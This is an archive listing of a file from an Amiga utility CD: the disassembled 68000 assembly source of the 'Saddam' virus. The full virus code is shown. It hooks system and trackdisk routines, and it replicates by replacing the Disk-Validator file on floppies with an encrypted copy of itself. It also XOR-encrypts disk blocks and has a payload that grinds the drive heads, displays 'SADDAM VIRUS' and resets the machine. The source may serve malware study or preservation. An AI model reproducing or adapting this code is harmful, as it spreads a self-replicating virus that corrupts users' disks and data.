home *** CD-ROM | disk | FTP | other *** search
/ Amiga ISO Collection / AmigaUtilCD2.iso / Virus / Virus.lha / Source / saddam.s < prev   
Encoding:
Text File  |  2001-07-06  |  10.0 KB  |  621 lines
  1. ;Saddam-Virus disassembled by Doc/Majic 12
  2.  
  3. AFLINE    macro
  4.     dc.w    \1
  5.     endm
  6. **********************************************************************
  7.     OR.B    #$C5,D0
  8. lbC000002    EQU    *-2
  9.     BRA.S    lbC00000A
  10.  
  11. lbC000006    OR.B    #$25,D0
  12. lbB000008    EQU    *-2
  13. lbC00000A    MOVEM.L    D0-D7/A0-A6,-(SP)
  14.  
  15. ;            LEA    lbC000022(PC),A0    ;Decrypt-header
  16. ;            MOVEQ    #-$6D,D0
  17. ;            MOVE.W    #$6C1,D1
  18. ;    lbC000018    EOR.B    D0,(A0)+
  19. ;            SUBQ.L    #2,D0
  20. ;            DBRA    D1,lbC000018
  21.  
  22.             RTS
  23.  
  24. lbC000022    MOVE.L    4,A6
  25.     JSR    -$78(A6)
  26.     MOVE.L    $3A(A6),A2
  27.     BSR    lbC00061A
  28.     LSR.W    #4,D0
  29.     AND.B    #$F8,D0
  30.     SUB.W    D0,A2
  31.     SUB.W    #$390,A2
  32. lbC00003E    SUB.W    #$400,A2
  33.     MOVE.L    A2,A1
  34.     MOVE.L    #$790,D0
  35.     JSR    -$CC(A6)
  36.     TST.L    D0
  37.     BEQ.S    lbC00003E
  38.     LEA    lbC000002(PC),A0
  39.     MOVE.L    A2,A1
  40.     PEA    $64(A1)
  41.     MOVE.L    #$714,D0
  42.     JMP    -$276(A6)
  43.  
  44.     BSR.S    lbC0000A2
  45.     BSR    lbC0000EA
  46.     LEA    *+$6D2(PC),A0
  47.     MOVE.L    #$1770,(A0)+
  48.     CLR.L    (A0)+
  49.     CLR.L    (A0)+
  50.     MOVE.W    #$FFFF,(A0)
  51.     MOVEM.L    (SP),D0-D7/A0-A6
  52.     LSL.L    #2,D1
  53.     MOVE.L    D1,A0
  54.     MOVE.L    12(A0),A0
  55.     MOVE.L    $1B0(A0),A0
  56.     MOVE.L    $10(A0),A0
  57.     MOVE.L    -4(A0),A0
  58.     MOVE.L    14(A0),A0
  59.     CLR.L    (A0)
  60.     MOVEM.L    (SP)+,D0-D7/A0-A6
  61.     JMP    (A6)
  62.  
  63. lbC0000A2    BSR.S    lbC0000FE
  64. lbC0000A4    LEA    lbL00071A(PC),A2
  65.     MOVE.L    $90(A6),A0
  66.     MOVE.L    (A0),A0
  67.     MOVE.L    $12(A0),(A2)+
  68.     PEA    lbC0001A8(PC)
  69.     MOVE.L    (SP)+,$12(A0)
  70.     BSR.S    lbC000126
  71.     MOVE.L    -$1C(A1),(A2)+
  72.     PEA    lbC0001F0(PC)
  73.     MOVE.L    (SP)+,-$1C(A1)
  74.     MOVEQ    #$40,D0
  75.     LSL.L    #4,D0
  76.     MOVE.L    #$10002,D1
  77.     JSR    -$C6(A6)
  78.     MOVE.L    D0,(A2)+
  79.     LEA    $17A(A6),A0
  80.     LEA    intuitionlibr.MSG(PC),A1
  81.     JSR    -$114(A6)
  82.     MOVE.L    D0,(A2)+
  83.     JMP    -$7E(A6)
  84.  
  85. lbC0000EA    BSR.S    lbC000126
  86.     LEA    *+$664(PC),A2
  87.     MOVE.L    -10(A1),(A2)+
  88.     PEA    lbC000380(PC)
  89.     MOVE.L    (SP)+,-10(A1)
  90.     RTS
  91.  
  92. lbC0000FE    LEA    myconwrite.MSG(PC),A1
  93.     JSR    -$186(A6)
  94.     BNE.S    lbC000124
  95. lbC000108    PEA    lbC00013A(PC)
  96.     MOVE.L    (SP)+,$2A(A6)
  97.     MOVEQ    #$16,D0
  98.     MOVEQ    #0,D1
  99.     LEA    $22(A6),A0
  100. lbC000118    ADD.W    (A0)+,D1
  101.     DBRA    D0,lbC000118
  102.  
  103.     NOT.W    D1
  104.     MOVE.W    D1,$52(A6)
  105. lbC000124    RTS
  106.  
  107. lbC000126    MOVE.L    4,A6
  108.     LEA    $15E(A6),A0
  109.     LEA    trackdiskdevi.MSG(PC),A1
  110.     JSR    -$114(A6)
  111.     MOVE.L    D0,A1
  112.     RTS
  113.  
  114. lbC00013A    PEA    lbC00014C(PC)
  115.     MOVE.L    (SP)+,$2E(A6)
  116.     BSR.S    lbC000108
  117.     MOVE.L    $3E(A6),A3
  118.     JMP    $1E(A5)
  119.  
  120. lbC00014C    LEA    lbC000002(PC),A1
  121.     MOVE.L    #$790,D0
  122.     JSR    -$CC(A6)
  123.     LEA    *+$5F2(PC),A0
  124.     MOVE.L    -$64(A6),(A0)
  125.     PEA    lbC000170(PC)
  126.     MOVE.L    (SP)+,-$64(A6)
  127.     CLR.L    $2E(A6)
  128.     RTS
  129.  
  130. lbC000170    MOVEM.L    D0-D7/A0-A6,-(SP)
  131.     MOVE.L    A1,A2
  132.     LEA    strap.MSG(PC),A1
  133.     JSR    -$60(A6)
  134.     CMP.L    D0,A2
  135.     BNE.S    lbC00019E
  136.     MOVE.L    *+$5CA(PC),-$64(A6)
  137.     JSR    -$78(A6)
  138.     BSR    lbC0000A4
  139.     MOVE.L    D0,A0
  140.     MOVE.L    -$CA(A0),(A2)+
  141.     PEA    lbC00047A(PC)
  142.     MOVE.L    (SP)+,-$CA(A0)
  143. lbC00019E    MOVEM.L    (SP)+,D0-D7/A0-A6
  144.     MOVE.L    *+$5AA(PC),-(SP)
  145.     RTS
  146.  
  147. lbC0001A8    MOVEM.L    D0-D7/A0-A6,-(SP)
  148.     MOVE.L    lbB000008(PC),D0
  149.     SUB.L    #$64,D0
  150. lbC0001B2    EQU    *-4
  151.     BCS.S    lbC0001D6
  152.     CMP.L    #5,D0
  153.     BCC.S    lbC0001CC
  154.     LEA    *+$57E(PC),A0
  155.     SUBQ.L    #1,(A0)+
  156.     BNE.S    lbC0001D6
  157.     MOVE.W    #$FFFF,(A0)
  158. lbC0001CC    LEA    lbC0001B2(PC),A0
  159.     ADD.L    #7,(A0)
  160. lbC0001D6    BSR    lbC000126
  161.     PEA    lbC0001F0(PC)
  162.     MOVE.L    (SP)+,-$1C(A1)
  163.     BSR    lbC0000FE
  164.     MOVEM.L    (SP)+,D0-D7/A0-A6
  165.     MOVE.L    lbL00071A(PC),-(SP)
  166.     RTS
  167.  
  168. lbC0001F0    TST.L    $2C(A1)
  169.     BEQ    lbC000306
  170.     CMP.L    #$6E000,$2C(A1)
  171.     BNE.S    lbC000264
  172.     CMP.B    #3,$1D(A1)
  173.     BEQ.S    lbC000240
  174.     CMP.B    #2,$1D(A1)
  175.     BNE.S    lbC000260
  176.     BSR    lbC000320
  177.     MOVE.L    $28(A1),A0
  178.     TST.L    $13C(A0)
  179.     BNE.S    lbC00023E
  180.     MOVE.L    $140(A0),$13C(A0)
  181.     CLR.L    $140(A0)
  182. lbC00022A    MOVEQ    #$7F,D0
  183.     MOVEQ    #0,D1
  184.     CLR.L    $14(A0)
  185. lbC000232    ADD.L    (A0)+,D1
  186.     DBRA    D0,lbC000232
  187.  
  188.     NEG.L    D1
  189.     MOVE.L    D1,-$1EC(A0)
  190. lbC00023E    RTS
  191.  
  192. lbC000240    MOVE.L    $28(A1),A0
  193.     MOVE.L    $138(A0),D0
  194.     NOT.L    D0
  195.     BNE.S    lbC000260
  196.     MOVE.L    $13C(A0),$140(A0)
  197.     CLR.L    $13C(A0)
  198.     BSR.S    lbC00022A
  199.     LEA    *+$4F2(PC),A0
  200.     MOVE.W    #$FFFF,(A0)
  201. lbC000260    BRA    lbC00035E
  202.  
  203. lbC000264    CMP.B    #2,$1D(A1)
  204.     BEQ    lbC000272
  205. lbC00026E    BRA    lbC00035E
  206.  
  207. lbC000272    BSR    lbC000320
  208.     MOVE.L    $28(A1),A0
  209.     CMP.W    #8,2(A0)
  210.     BEQ.S    lbC0002A4
  211.     CMP.L    #$4952414B,(A0)
  212.     BEQ.S    lbC0002EE
  213.     CMP.W    #2,2(A0)
  214.     BNE.S    lbC0002A2
  215.     MOVE.L    $134(A0),-(SP)
  216.     LEA    *+$4AE(PC),A0
  217.     MOVE.W    #$FFFF,(A0)+
  218.     MOVE.L    (SP)+,(A0)+
  219.     ADDQ.B    #1,(A0)
  220. lbC0002A2    RTS
  221.  
  222. lbC0002A4    LEA    *+$4A0(PC),A0
  223.     TST.W    (A0)
  224.     BEQ.S    lbC0002A2
  225.     CLR.W    (A0)
  226.     MOVE.L    $2C(A1),D0
  227.     DIVS    #$200,D0
  228.     SUB.L    *+$490(PC),D0
  229.     BNE.S    lbC0002A2
  230.     BSR    lbC000372
  231.     BNE.S    lbC0002A2
  232.     MOVE.W    *+$488(PC),D0
  233.     BEQ.S    lbC0002A2
  234.     MOVE.L    $28(A1),A0
  235.     MOVE.L    $34(A0),D0
  236.     SUB.L    $38(A0),D0
  237.     BEQ.S    lbC0002A2
  238.     MOVEQ    #$7E,D0
  239.     MOVE.L    #$4952414B,(A0)+
  240.     BSR.S    lbC0002FA
  241.     PEA    lbC0002EE(PC)
  242.     ADDQ.B    #1,$1D(A1)
  243.     BSR    lbC000364
  244.     BRA.S    lbC000320
  245.  
  246. lbC0002EE    MOVEQ    #$7E,D0
  247.     MOVE.L    $28(A1),A0
  248.     MOVE.L    #8,(A0)+
  249. lbC0002FA    MOVE.L    $2C(A1),D1
  250. lbC0002FE    EOR.L    D1,(A0)+
  251.     DBRA    D0,lbC0002FE
  252.  
  253.     RTS
  254.  
  255. lbC000306    CMP.B    #2,$1D(A1)
  256.     BNE    lbC00026E
  257.     BSR    lbC000372
  258.     BNE.S    lbC00035E
  259.     MOVE.W    *+$42C(PC),D0
  260.     NOT.W    D0
  261.     BEQ    lbC0003CC
  262. lbC000320    MOVEM.L    D0-D7/A0-A6,-(SP)
  263.     BSR.S    lbC00035E
  264.     MOVE.L    $24(SP),A1
  265.     MOVE.L    4,A6
  266.     JSR    -$1D4(A6)
  267.     BNE.S    lbC000358
  268.     JSR    -$78(A6)
  269.     MOVE.L    A1,A2
  270.     MOVE.L    14(A2),A0
  271.     MOVE.B    15(A0),D1
  272.     MOVEQ    #0,D0
  273.     BSET    D1,D0
  274. lbC000346    CMP.B    #7,8(A2)
  275.     BEQ.S    lbC000354
  276.     JSR    -$13E(A6)
  277.     BRA.S    lbC000346
  278.  
  279. lbC000354    JSR    -$7E(A6)
  280. lbC000358    MOVEM.L    (SP)+,D0-D7/A0-A6
  281.     RTS
  282.  
  283. lbC00035E    MOVE.L    lbL00071E(PC),-(SP)
  284.     RTS
  285.  
  286. lbC000364    MOVE.L    A1,-(SP)
  287.     MOVE.L    $34(A6),A0
  288.     JSR    -$FC(A0)
  289.     MOVE.L    (SP)+,A1
  290.     RTS
  291.  
  292. lbC000372    MOVE.L    $18(A1),A0
  293.     MOVE.L    $126(A0),D0
  294.     TST.B    $40(A0)
  295.     RTS
  296.  
  297. lbC000380    TST.B    $1F(A1)
  298.     BNE.S    lbC0003C6
  299.     BSR.S    lbC000372
  300.     BNE.S    lbC0003C6
  301.     LEA    *+$3BA(PC),A0
  302.     CLR.W    (A0)
  303.     MOVE.L    $18(A1),A0
  304.     MOVE.B    $43(A0),-(SP)
  305.     BSR.S    lbC0003C6
  306.     MOVE.B    (SP)+,D0
  307.     MOVEM.L    D0-D7/A0-A6,-(SP)
  308.     SUB.L    A0,A0
  309.     MOVE.L    SP,D5
  310.     SUB.L    #$5DC,D5
  311.     BCLR    #1,D5
  312.     MOVE.L    D5,A1
  313.     MOVE.L    $26(A5),A6
  314.     MOVEM.L    $2A(A6),A2/A5/A6
  315.     BSR    lbC0004C0
  316.     MOVEM.L    (SP)+,D0-D7/A0-A6
  317.     MOVEQ    #0,D0
  318.     RTS
  319.  
  320. lbC0003C6    MOVE.L    *+$38A(PC),-(SP)
  321.     RTS
  322.  
  323. lbC0003CC    LEA    $BFD100,A0
  324.     LEA    $DFF000,A4
  325.     MOVE.W    #$4000,$9A(A4)
  326.     MOVE.B    #$7F,(A0)
  327.     MOVE.B    #7,(A0)
  328.     MOVEQ    #$50,D1
  329. lbC0003E8    BSR.S    lbC00042E
  330.     DBRA    D1,lbC0003E8
  331.  
  332.     MOVE.B    #$7F,(A0)
  333.     MOVE.B    #5,(A0)
  334.     BSR.S    lbC000442
  335.     MOVE.B    #$7F,(A0)
  336.     MOVE.B    #2,(A0)
  337.     BSR.S    lbC000442
  338.     MOVE.W    #$20,$96(A4)
  339.     CLR.L    $140(A4)
  340.     LEA    lbB0006B3(PC),A0
  341.     MOVE.L    lbL000726(PC),A6
  342.     MOVEQ    #0,D0
  343.     MOVEQ    #$3C,D1
  344.     JSR    -$5A(A6)
  345.     MOVE.L    4,A6
  346.     NOT.L    $26(A6)
  347.     PEA    $FC0002
  348.     JMP    -$96(A6)
  349.  
  350. lbC00042E    BCLR    #0,(A0)
  351.     BSET    #0,(A0)
  352.     MOVE.W    #$800,D0
  353. lbC00043A    NOP
  354.     DBRA    D0,lbC00043A
  355.  
  356.     RTS
  357.  
  358. lbC000442    MOVEQ    #$50,D1
  359.     MOVE.W    #$8010,$96(A4)
  360. lbC00044A    CLR.L    $24(A4)
  361.     MOVE.W    #$9100,$9E(A4)
  362.     MOVE.W    #$C180,$24(A4)
  363.     MOVE.W    #$C180,$24(A4)
  364.     MOVE.W    #2,$9C(A4)
  365. lbC000466    BTST    #1,$1F(A4)
  366.     BEQ.S    lbC000466
  367.     CLR.W    $24(A4)
  368.     BSR.S    lbC00042E
  369.     DBRA    D1,lbC00044A
  370.  
  371.     RTS
  372.  
  373. lbC00047A    LEA    lbL000736(PC),A5
  374.     MOVE.L    -12(A2),(A5)
  375.     PEA    lbC000494(PC)
  376.     MOVE.L    (SP)+,-12(A2)
  377.     MOVE.L    lbL00072A(PC),-$CA(A6)
  378.     JMP    -$CC(A6)
  379.  
  380. lbC000494    MOVE.L    lbL000736(PC),A4
  381.     MOVE.L    A4,-12(A2)
  382.     MOVEM.L    D0-D7/A0-A6,-(SP)
  383.     LSL.L    #2,D1
  384.     MOVE.L    D1,A0
  385.     TST.L    4(A0)
  386.     BNE.S    lbC0004B6
  387.     MOVEQ    #0,D0
  388.     BSR.S    lbC0004C0
  389. lbC0004AE    MOVE.W    *+$29C(PC),D0
  390.     NOT.W    D0
  391.     BNE.S    lbC0004AE
  392. lbC0004B6    BSR    lbC0000EA
  393.     MOVEM.L    (SP)+,D0-D7/A0-A6
  394.     JMP    (A4)
  395.  
  396. lbC0004C0    BSR    lbC00063A
  397.     LEA    *+$286(PC),A0
  398.     CLR.W    (A0)
  399.     LEA    DF0.MSG(PC),A2
  400.     ADD.B    #$30,D0
  401.     MOVE.B    D0,2(A2)
  402.     MOVE.B    D0,7(A2)
  403.     MOVE.B    D0,13(A2)
  404.     MOVE.L    4,A6
  405.     MOVEQ    #$40,D0
  406.     LSL.L    #5,D0
  407.     MOVE.L    #$10002,D1
  408.     JSR    -$C6(A6)
  409.     MOVE.L    D0,-(SP)
  410.     SUB.L    A1,A1
  411.     JSR    -$126(A6)
  412.     LEA    lbL00072E(PC),A0
  413.     MOVE.L    D0,(A0)
  414.     MOVE.L    D0,A0
  415.     MOVEQ    #-$1,D0
  416.     MOVE.L    D0,$B8(A0)
  417.     MOVE.W    #$FFD4,D0
  418.     MOVE.L    A2,D1
  419.     MOVEQ    #-$2,D2
  420.     BSR    lbC000562
  421.     TST.L    D1
  422.     BEQ.S    lbC00055E
  423.     MOVE.W    #$FFC8,D0
  424.     MOVE.L    (SP),D2
  425.     MOVE.L    D1,-(SP)
  426.     BSR.S    lbC000562
  427.     MOVE.L    (SP)+,D0
  428.     TST.L    D1
  429.     BEQ.S    lbC00055E
  430.     MOVE.L    D0,D1
  431.     MOVE.W    #$1B4,D0
  432.     BSR.S    lbC000562
  433.     MOVE.L    (SP),A0
  434.     CMP.W    #$52,10(A0)
  435.     BNE.S    lbC00055E
  436.     MOVEQ    #0,D2
  437.     BSR    lbC000646
  438.     BEQ.S    lbC000566
  439.     MOVE.W    #$FFF4,D0
  440.     MOVE.L    lbL000732(PC),D1
  441.     MOVE.L    (SP),D2
  442.     MOVEQ    #$26,D3
  443.     BSR.S    lbC000562
  444.     MOVE.L    (SP),A0
  445.     MOVE.W    $24(A0),D0
  446.     CMP.W    lbC000006(PC),D0
  447.     BNE.S    lbC000594
  448.     BSR    lbC000624
  449. lbC00055E    BRA    lbC0005FC
  450.  
  451. lbC000562    BRA    lbC00062C
  452.  
  453. lbC000566    MOVE.L    (SP),A0
  454.     CMP.W    #3,$12(A0)
  455.     BCS.S    lbC00055E
  456.     CMP.W    #$6D8,$12(A0)
  457.     BCC.S    lbC00055E
  458.     MOVE.W    #$FFC4,D0
  459.     PEA    DF0l.MSG(PC)
  460.     MOVE.L    (SP)+,D1
  461.     BSR.S    lbC000562
  462.     BEQ.S    lbC00058C
  463.     MOVE.W    #$1B4,D0
  464.     BSR.S    lbC000562
  465. lbC00058C    MOVEQ    #1,D2
  466.     BSR    lbC000646
  467.     BEQ.S    lbC00055E
  468. lbC000594    LEA    lbW0006C4(PC),A0
  469.     MOVE.L    (SP),A1
  470.     MOVEQ    #$1F,D0
  471. lbC00059C    MOVE.B    (A0)+,(A1)+
  472.     DBRA    D0,lbC00059C
  473.  
  474.     LEA    lbC000002(PC),A0
  475.     LEA    lbC000022(PC),A2
  476.     LEA    BitMapChecksu.MSG(PC),A3
  477.     ADDQ.L    #1,6(A0)
  478.     BSR.S    lbC00061A
  479.     MOVE.B    D0,$13(A0)
  480.     MOVE.W    #$713,D1
  481. lbC0005BC    MOVE.B    (A0)+,D2
  482.     CMP.L    A0,A2
  483.     BGE.S    lbC0005CA
  484.     CMP.L    A0,A3
  485.     BLT.S    lbC0005CA
  486.     EOR.B    D0,D2
  487.     SUBQ.L    #2,D0
  488. lbC0005CA    MOVE.B    D2,(A1)+
  489.     DBRA    D1,lbC0005BC
  490.  
  491.     MOVE.L    #$3F2,(A1)
  492.     MOVE.W    #$FFE0,D0
  493.     MOVE.L    lbL000732(PC),D1
  494.     MOVEQ    #0,D2
  495.     MOVEQ    #-$1,D3
  496.     BSR.S    lbC00062C
  497.     MOVE.W    #$FFE8,D0
  498.     MOVE.L    lbL000732(PC),D1
  499.     MOVE.L    (SP),D2
  500.     MOVE.L    #$738,D3
  501.     BSR.S    lbC00062C
  502.     BSR.S    lbC000624
  503.     MOVEQ    #0,D0
  504.     BRA.S    lbC0005FE
  505.  
  506. lbC0005FC    MOVEQ    #-$1,D0
  507. lbC0005FE    LEA    *+$14C(PC),A0
  508.     MOVE.W    D0,(A0)
  509.     MOVE.L    lbL00072E(PC),A0
  510.     CLR.L    $B8(A0)
  511.     MOVE.L    4,A6
  512.     MOVE.L    (SP)+,A1
  513.     MOVEQ    #$40,D0
  514.     LSL.L    #5,D0
  515.     JMP    -$D2(A6)
  516.  
  517. lbC00061A    MOVEQ    #0,D0
  518.     MOVE.B    $DFF007,D0
  519.     RTS
  520.  
  521. lbC000624    MOVE.W    #$174,D0
  522.     MOVE.L    lbL000732(PC),D1
  523. lbC00062C    MOVEM.L    *+$126(PC),A0-A6
  524.     MOVE.L    0(A2,D0.W),A4
  525.     MOVEQ    #12,D0
  526.     JSR    (A5)
  527. lbC00063A    LEA    *+$11A(PC),A4
  528.     MOVEM.L    A0-A6,(A4)
  529.     TST.L    D1
  530.     RTS
  531.  
  532. lbC000646    MOVE.W    #$FFFC,D0
  533.     PEA    DF0lDiskValid.MSG(PC)
  534.     MOVE.L    (SP)+,D1
  535.     ADD.W    #$3ED,D2
  536.     BSR.S    lbC00062C
  537.     LEA    lbL000732(PC),A0
  538.     MOVE.L    D1,(A0)
  539.     RTS
  540.  
  541. DF0.MSG    dc.b    'DF0:',0
  542. DF0l.MSG    dc.b    'DF0:l',0
  543. DF0lDiskValid.MSG    dc.b    'DF0:l/Disk-Validator',0
  544. strap.MSG    dc.b    'strap',0
  545. myconwrite.MSG    dc.b    'mycon.write',0
  546. intuitionlibr.MSG    dc.b    'intuition.library',0
  547. trackdiskdevi.MSG    dc.b    'trackdisk.device',0
  548. lbB0006B3    dc.b    1
  549.     dc.b    8
  550.     dc.b    $20
  551.     dc.b    $53
  552.     dc.b    $41
  553.     dc.b    $44
  554.     dc.b    $44
  555.     dc.b    $41
  556.     dc.b    $4D
  557.     dc.b    $20
  558.     dc.b    $56
  559.     dc.b    $49
  560.     dc.b    $52
  561.     dc.b    $55
  562.     dc.b    $53
  563.     dc.b    0
  564.     dc.b    0
  565. lbW0006C4    dc.w    0
  566.     dc.w    $3F3
  567.     dc.w    0
  568.     dc.w    0
  569.     dc.w    0
  570.     dc.w    1
  571.     dc.w    0
  572.     dc.w    0
  573.     dc.w    0
  574.     dc.w    0
  575.     dc.w    0
  576.     dc.w    $1C5
  577.     dc.w    0
  578.     dc.w    $3E9
  579.     dc.w    0
  580.     dc.w    $1C5
  581. BitMapChecksu.MSG    dc.b    'BitMap Checksum Error',0,0
  582.     dc.b    0
  583.     dc.b    0
  584.     dc.b    0
  585.     dc.b    0
  586.     dc.b    0
  587.     dc.b    0
  588.     dc.b    0
  589.     dc.b    0
  590.     dc.b    0
  591.     dc.b    0
  592.     dc.b    0
  593.     dc.b    0
  594.     dc.b    0
  595.     dc.b    0
  596.     dc.b    0
  597.     dc.b    0
  598.     dc.b    0
  599.     dc.b    0
  600.     dc.b    $C6
  601.     dc.b    0
  602.     dc.b    0
  603.     dc.b    0
  604.     dc.b    4
  605.     dc.b    0
  606.     dc.b    0
  607.     dc.b    0
  608.     dc.b    $D0
  609.     dc.b    'mT'
  610.     dc.b    $12
  611.     dc.b    '4'
  612. lbL00071A    dc.l    $567800B4
  613. lbL00071E    dc.l    $726C5F4C
  614.     dc.l    $69624C69
  615. lbL000726    dc.l    $73740000
  616. lbL00072A    dc.l    $B6FE00C3
  617. lbL00072E    dc.l    $5E62726C
  618. lbL000732    dc.l    $5F4E756D
  619. lbL000736    dc.l    $4C696200
  620.     END
  621.